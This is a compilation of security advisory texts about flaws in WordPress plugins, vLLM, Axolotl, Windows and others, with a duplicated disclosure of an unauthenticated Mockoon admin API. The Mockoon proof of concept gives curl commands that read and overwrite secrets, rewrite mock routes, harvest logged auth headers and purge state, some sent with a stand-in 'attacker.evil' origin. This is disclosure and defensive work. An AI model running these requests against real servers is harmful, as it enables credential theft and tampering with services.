The MemberPress Corporate Accounts plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 1.5.39. This is due to a mass assignment vulnerability in the 'addsubaccountuser' function that passes the raw 'userdata' array to 'wpinsertuser' without filtering dangerous keys like role or ID. This makes it possible for authenticated attackers, with subscriber-level access and above who hold a corporate account, to create new administrator accounts or hijack existing administrator accounts by overwriting their email addresses. The vulnerability was partially patched in version 1.5.39.

vLLM before 0.28.0 contains a remote code execution vulnerability in the LlavaOnevision2 processor loader that ignores the trustremotecode parameter when loading remote processor classes. Attackers can craft a malicious model with arbitrary code in processingllavaonevision2.py that executes with vLLM process authority even when trustremotecode is set to False.

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in plugin/Scheduler/sendEmail.json.php that allows unauthenticated attackers to access scheduler email jobs by providing a site-wide daily token. Attackers can enumerate scheduler jobs, read private live titles and email addresses, and trigger email sending by supplying any valid daily token obtained from Live pages.

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.0.7 via the withdrawmethodfield parameter of the tutorsavewithdrawaccount AJAX handler. This is due to the handler lacking any capability or role check, relying solely on a nonce, while also passing attacker-supplied values through escsql(), which replaces every % character with a 66-byte HMAC placeholder token before the data is serialized and stored via updateusermeta(); when the meta is later retrieved, the placeholder is collapsed back to a single %, leaving serialized string length declarations 65 bytes greater than the actual content, and because array keys originate from entirely unescaped POST field names, unserialize() over-reads into attacker-controlled bytes, allowing injection of an arbitrary serialized object stream. This makes it possible for authenticated attackers, with subscriber-level access and above, to achieve remote code execution on the server by triggering the GuzzleHttp\Cookie\FileCookieJar POP chain, reachable via the splautoloadregister loader in TUTOR\RestAPI which loads the plugin's own bundled PayPal Composer autoloader, writing attacker-controlled content to an attacker-specified filename. This has an unauthenticated pathway when user registration is enabled, which is common for students and teachers to register, and it requires the monetization feature to be enabled.

The GEO my WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.5.5.3 via the gmwpostslocatorajaxinfowindowloader function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. In environments where PEAR is installed with registerargcargv enabled, this file inclusion can be leveraged to write and execute arbitrary PHP code, achieving full remote code execution.

The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'compare' parameter in all versions up to, and including, 4.7.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable on any public page containing an rtMedia shortcode (e.g., [rtmediagallery]) when the rtmediashortcode GET parameter is set, because RTMediaQuery::query() merges $REQUEST into the internal query while only validating top-level array keys, allowing the nested 'compare' subvalue to reach the vulnerable sink without authentication.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.

JFrog Artifactory contains an improper authentication vulnerability that could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.

JFrog Artifactory (Self Hosted) versions before 7.133.11 are vulnerable to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope.

Axolotl before 0.19.0 contains a remote code execution vulnerability in the multipack patch path where trustremotecode defaults to None instead of False, causing the security guard to be bypassed. Attackers can execute arbitrary Python code by crafting a malicious Hugging Face model repository selected as basemodel, which is loaded with hardcoded trustremotecode=True during AutoModelForCausalLM.frompretrained.

stbvorbis through 1.22 contains a heap buffer overflow in startdecoder() where the codebook multiplicands allocation size is truncated from sizet to int. Attackers can craft a malicious Ogg Vorbis file with large entries and dimensions values to trigger out-of-bounds writes, causing process crashes or heap corruption.

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper). - Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes. - Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

---

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on };

packages/cli/src/commands/start.ts:200:

ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

ts enableAdminApi: true, // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

ts app.use(${adminApiPrefix}, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); });

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: Environment variable '${key}' has been set to '${value}' }); } else { throw new Error('Key or value missing from request'); } } catch (error) { res.status(400).send({ message: 'Invalid request' }); } };

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

ts app.put(${adminApiPrefix}/environment, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (error) { res.status(400).send({ message: 'Invalid environment format' }); } });

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

---

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:

MOCKOONAPIKEY="sk-operator-real-secret-DONOTLEAKxyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP :3100 (LISTEN) <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-operator-real-secret-DONOTLEAKxyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/APIKEY HTTP/1.1 200 OK access-control-allow-origin: {"key":"MOCKOONAPIKEY","value":"sk-operator-real-secret-DONOTLEAKxyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWSSECRETACCESSKEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWSSECRETACCESSKEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKERPWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKERPWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"}

---

Impact

In typical local-dev mode (CVSS 8.8 High):

- Secret read of every MOCKOON env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

- All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

---

Suggested fix

1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOONADMINTOKEN env var, compared with crypto.timingSafeEqual. 2. Stop sending Access-Control-Allow-Origin: on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix. 5. Add SECURITY.md with disclosure instructions. 6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper). - Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes. - Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

---

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on };

packages/cli/src/commands/start.ts:200:

ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

ts enableAdminApi: true, // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

ts app.use(${adminApiPrefix}, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); });

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: Environment variable '${key}' has been set to '${value}' }); } else { throw new Error('Key or value missing from request'); } } catch (error) { res.status(400).send({ message: 'Invalid request' }); } };

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

ts app.put(${adminApiPrefix}/environment, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (error) { res.status(400).send({ message: 'Invalid environment format' }); } });

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

---

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:

MOCKOONAPIKEY="sk-operator-real-secret-DONOTLEAKxyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP :3100 (LISTEN) <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-operator-real-secret-DONOTLEAKxyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/APIKEY HTTP/1.1 200 OK access-control-allow-origin: {"key":"MOCKOONAPIKEY","value":"sk-operator-real-secret-DONOTLEAKxyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWSSECRETACCESSKEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWSSECRETACCESSKEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKERPWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKERPWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"}

---

Impact

In typical local-dev mode (CVSS 8.8 High):

- Secret read of every MOCKOON env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

- All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

---

Suggested fix

1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOONADMINTOKEN env var, compared with crypto.timingSafeEqual. 2. Stop sending Access-Control-Allow-Origin: on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix. 5. Add SECURITY.md with disclosure instructions. 6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.